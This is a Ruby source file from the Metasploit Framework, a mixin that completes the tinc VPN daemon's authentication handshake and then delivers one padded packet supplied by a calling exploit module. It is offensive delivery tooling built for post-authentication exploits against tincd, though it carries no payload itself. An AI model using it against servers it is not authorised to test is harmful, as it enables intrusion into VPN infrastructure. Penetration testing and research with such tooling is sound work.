rapid7/metasploit-framework

View on GitHub
lib/msf/core/exploit/remote/tincd_exploit_client.rb

Summary

Maintainability
C
7 hrs
Test Coverage
require 'securerandom'
require 'openssl'
require 'digest/sha1'

module Msf
# This module does a handshake with a tincd server and sends one padded packet
# Author: Tobias Ospelt @floyd_ch
module Exploit::Remote::TincdExploitClient
  include Msf::Exploit::Remote::Tcp

  BF_BLOCKSIZE =  64 / 8
  BF_KEY_LEN = 16
  BF_IV_LEN = 8

  #
  # Module options
  #
  def initialize(info = {})
    super
    register_options(
      [Opt::RPORT(655),
        # As this is only for post-auth exploits, you should know the value of the
        # following variables by simply checking
        # your configuration.
        OptPath.new('SERVER_PUBLIC_KEY_FILE', [true, 'Server\'s public key', '']),
        OptPath.new('CLIENT_PRIVATE_KEY_FILE', [true, 'Client private key', '']),
        # You should see CLIENT_NAME in cleartext in the first message to the
        # server by your usual tinc client (tcpdump or
        # wireshark it: e.g. "0 home 17.0", so it's "home"). On the server,
        # this is located in the config folder, e.g. in FreeBSD
        # there is the client public key file /usr/local/etc/tinc/hosts/home
        # for the client "home"
        # If you don't have a clue, maybe just try the filename of your private
        # key without file extension
        OptString.new('CLIENT_NAME', [true, 'Your client name (pre-shared with server)' , ''])
      ], self
    )
  end

  #
  # Setting up variables and calling cipher inits with file paths from configuration
  #
  def setup_ciphers
    @state = :id_state
    @buffer = ''
    @inbuffer = ''
    @encryption_queue = []

    @packet_payload = nil
    @keep_reading_socket = false

    @server_key_len = nil
    @client_key_len =  nil
    @client_private_key_cipher = nil
    @hex_enc_key_s1 = nil
    @bf_enc_cipher = nil
    init_ciphers(datastore['SERVER_PUBLIC_KEY_FILE'], datastore['CLIENT_PRIVATE_KEY_FILE'])
    vprint_status('Ciphers locally initialized, private key and public key files seem to be ok')
    @bf_dec_cipher = nil
  end

  #
  # The main method that will be called that will call other methods to send first message
  # and continuously read from socket and ensures TCP disconnect at the end
  #
  def send_recv(packet_payload)
    @packet_payload = packet_payload
    @keep_reading_socket = true
    connect
    begin
      # send the first message
      id
      # Condition to get out of the while loop: ack_state to false. Unsafe? Maybe a timeout?
      while @keep_reading_socket
        process_data(sock.get_once)
      end
    rescue Errno::ECONNRESET
      if @state == :metakey_state
        fail 'Server reset the connection. Probably rejecting ' +
         'the private key and/or client name (e.g. client name not associated ' +
         'with client public key on server side). ' +
         'Wrong server public key possible too. ' +
         'Please recheck client name, client private key and ' +
         'server public key.'
      else
        fail 'Server reset the connection, reason unknown.'
      end
    ensure
      disconnect
    end
  end

  #
  # Reading of certificate files and parsing them, generation of random keys
  # and initialization of OFB mode blowfish cipher
  #
  def init_ciphers(server_file, client_file)
    server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file))
    @server_key_len = server_public_key_cipher.n.num_bytes
    @client_private_key_cipher = OpenSSL::PKey::RSA.new(File.read(client_file))
    @client_key_len = @client_private_key_cipher.n.num_bytes
    vprint_status("Our private key length is #{@client_key_len}, expecting same length for metakey and challenge")
    vprint_status("Server's public key length is #{@server_key_len}, sending same metakey and challenge length")

    # we don't want this to happen here:
    # `public_encrypt': data too large for modulus (OpenSSL::PKey::RSAError)
    # simple solution: choose the key_s1 with a leading zero byte
    key_s1 = "\x00"+SecureRandom.random_bytes(@server_key_len-1)
    enc_key_s1 = server_public_key_cipher.public_encrypt(key_s1, OpenSSL::PKey::RSA::NO_PADDING)

    @hex_enc_key_s1 = enc_key_s1.unpack('H*')[0]

    offset_key = @server_key_len - BF_KEY_LEN
    offset_iv = @server_key_len - BF_KEY_LEN - BF_IV_LEN
    bf_enc_key = key_s1[offset_key...@server_key_len]
    bf_enc_iv = key_s1[offset_iv...offset_key]

    @bf_enc_cipher = OpenSSL::Cipher.new('BF-OFB')
    @bf_enc_cipher.encrypt
    @bf_enc_cipher.key = bf_enc_key
    @bf_enc_cipher.iv = bf_enc_iv

    # #Looks like ruby openssl supports other lengths than multiple of 8!
    # test = @bf_enc_cipher.update('A'*10)
    # test << @bf_enc_cipher.final
    # puts "Testing cipher: "+test.unpack('H*')[0]
  end

  #
  # Depending on the state of the protocol handshake and the data we get back
  # from the server, this method will decide which message has to be sent next
  #
  def process_data(data)
    @inbuffer += data if data
    case @state
    when :id_state
      if line?
        data = read_line
        vprint_status("Received ID from server: [#{data[0..30]}]")
        @state = :metakey_state
        # next expected state
        metakey
      end
    when :metakey_state
      if line?
        data = read_line
        vprint_status("Received Metakey from server: [#{data[0..30]}...]")
        data = data.split(' ')
        fail 'Error in protocol. The first byte should be an ASCII 1.' unless data.first == '1'
        hexkey_s2 = data[5].rstrip # ("\n")
        fail "Error in protocol. metakey length should be #{@client_key_len}." unless hexkey_s2.length == @client_key_len * 2
        @enckey_s2 = [hexkey_s2].pack('H*')
        key_s2 = @client_private_key_cipher.private_decrypt(@enckey_s2, OpenSSL::PKey::RSA::NO_PADDING)

        # metakey setup according to protocol_auth.c
        # if(!EVP_DecryptInit(c->inctx, c->incipher,
        #    (unsigned char *)c->inkey + len - c->incipher->key_len,    # <--- KEY pointer
        #    (unsigned char *)c->inkey + len - c->incipher->key_len - c->incipher->iv_len # <--- IV pointer
        # ))
        offset_key = @client_key_len - BF_KEY_LEN
        offset_iv = @client_key_len - BF_KEY_LEN - BF_IV_LEN
        bf_dec_key = key_s2[offset_key...@client_key_len]
        bf_dec_iv = key_s2[offset_iv...offset_key]

        @bf_dec_cipher = OpenSSL::Cipher.new 'BF-OFB'
        @bf_dec_cipher.encrypt
        @bf_dec_cipher.key = bf_dec_key
        @bf_dec_cipher.iv = bf_dec_iv
        # don't forget, it *does* matter if you do a
        # @bf_dec_cipher.reset or not, we're in OFB mode. DON'T.
        vprint_status('Metakey handshake/exchange completed')
        @state = :challenge_state
        challenge
      end
    when :challenge_state
      need_len = 2 * @client_key_len + 3
      if @inbuffer.length >= need_len
        data = pop_inbuffer_and_decrypt(need_len)
        vprint_status("Received challenge from server: " +
         "[#{data.unpack('H*')[0][0..30]}...]")
        data = data.split(' ', 2)
        fail 'Error in protocol. The first byte should be an ASCII 2. Got #{data[0]}.' unless data.first == '2'
        challenge2 = data[1][0...2 * @client_key_len]
        challenge2 = [challenge2].pack('H*')
        fail "Error in protocol. challenge2 length should be #{@client_key_len}." unless challenge2.length == @client_key_len
        @state = :challenge_reply_state
        challenge_reply(challenge2)
      end
    when :challenge_reply_state
      need_len = 43
      if @inbuffer.length >= need_len
        data = pop_inbuffer_and_decrypt(need_len)
        vprint_status("Received challenge reply from server:" +
         " [#{data.unpack('H*')[0][0..30]}...]")
        @state = :ack_state
        ack
      end
    when :ack_state
      need_len = 12
      if @inbuffer.length >= need_len
        data = pop_inbuffer_and_decrypt(need_len)
        vprint_status("Received ack (server accepted challenge response):" +
         "[#{data.unpack('H*')[0][0..30]}...]")
        @state = :done_state
        send_packet
      end
    end
  end

  #
  # Encryption queue where waiting data gets encrypted and afterwards
  # the remaining messages get sent
  #
  def handle_write
    # handle encryption queue first
    unless @encryption_queue.empty?
      msg = @encryption_queue[0]
      @encryption_queue.delete_at(0)
      @buffer = @bf_enc_cipher.update(msg)
      @buffer << @bf_enc_cipher.final
      # DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and
      # the resulting block is used to encrypt the next block.
    end

    unless @buffer.empty?
      sent = send_data(@buffer)
      vprint_status("Sent #{sent} bytes: " +
       "[#{@buffer.unpack('H*')[0][0..30]}...]")
      @buffer = @buffer[sent..@buffer.length]
    end
  end

  #
  # Simple socket put/write
  #
  def send_data(buf)
    sock.put(buf)
  end

  #
  # Decryption method to process data sent by server
  #
  def pop_inbuffer_and_decrypt(size)
    # In ruby openssl OFM works not only on full blocks, but also on
    # parts. Therefore no worries like in pycrypto and no
    # modified decrypt routine, simply use the cipher as is.
    data = @bf_dec_cipher.update(@inbuffer.slice!(0, size))
    data << @bf_dec_cipher.final
    # DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and
    # the resulting block is used to decrypt the next block.
  end

  #
  # Read up to the next newline from the data the server sent
  #
  def read_line
    idx = @inbuffer.index("\n")
    data = @inbuffer.slice!(0, idx)
    @inbuffer.lstrip!
    data
  end

  #
  # Check if we already received a newline, meaning we got an
  # entire message for the next protocol step
  #
  def line?
    !!(@inbuffer.match("\n"))
  end

  #
  # Start message method after TCP handshake
  #
  def id
    msg = "0 #{datastore['CLIENT_NAME']} 17.0\n"
    vprint_status("Sending ID (cleartext): [#{msg.gsub("\n", '')}]")
    @buffer += msg
    handle_write
  end

  #
  # Sending metakey (transferring a symmetric key that will get encrypted with
  # public key before being sent to the server)
  #
  def metakey
    msg = "1 94 64 0 0 #{@hex_enc_key_s1}\n"
    vprint_status("Sending metakey (cleartext): [#{msg[0..30]}...]")
    @buffer += msg
    handle_write
  end

  #
  # Send challenge random bytes
  #
  def challenge
    vprint_status('Sending challenge (ciphertext)')
    challenge = SecureRandom.random_bytes(@server_key_len)
    msg = "2      #{challenge.unpack('H*')[0]}\n"
    @encryption_queue.push(msg)
    handle_write
  end

  #
  # Reply to challenge that was sent by server
  #
  def challenge_reply(challenge2)
    vprint_status('Sending challenge reply (ciphertext)')
    h = Digest::SHA1.hexdigest(challenge2)
    msg = "3      #{h.upcase}\n"
    @encryption_queue.push(msg)
    handle_write
  end

  #
  # Ack state to signalize challenge/response was successful
  #
  def ack
    vprint_status('Sending ack (signalise server that we accept challenge' +
     'reply, ciphertext)')
    @encryption_queue.push("4 #{datastore['RPORT']} 123 0    \n")
    handle_write
  end

  #
  # Sending a packet inside the VPN connection after successful protocol setup
  #
  def send_packet
    vprint_status('Protocol finished setup. Going to send packet.')
    msg = "17 #{@packet_payload.length}\n#{@packet_payload}"
    plen = BF_BLOCKSIZE - (msg.length % BF_BLOCKSIZE)
    # padding
    msg += 'B' * plen
    @encryption_queue.push(msg)
    @keep_reading_socket = false
    handle_write
  end
end
end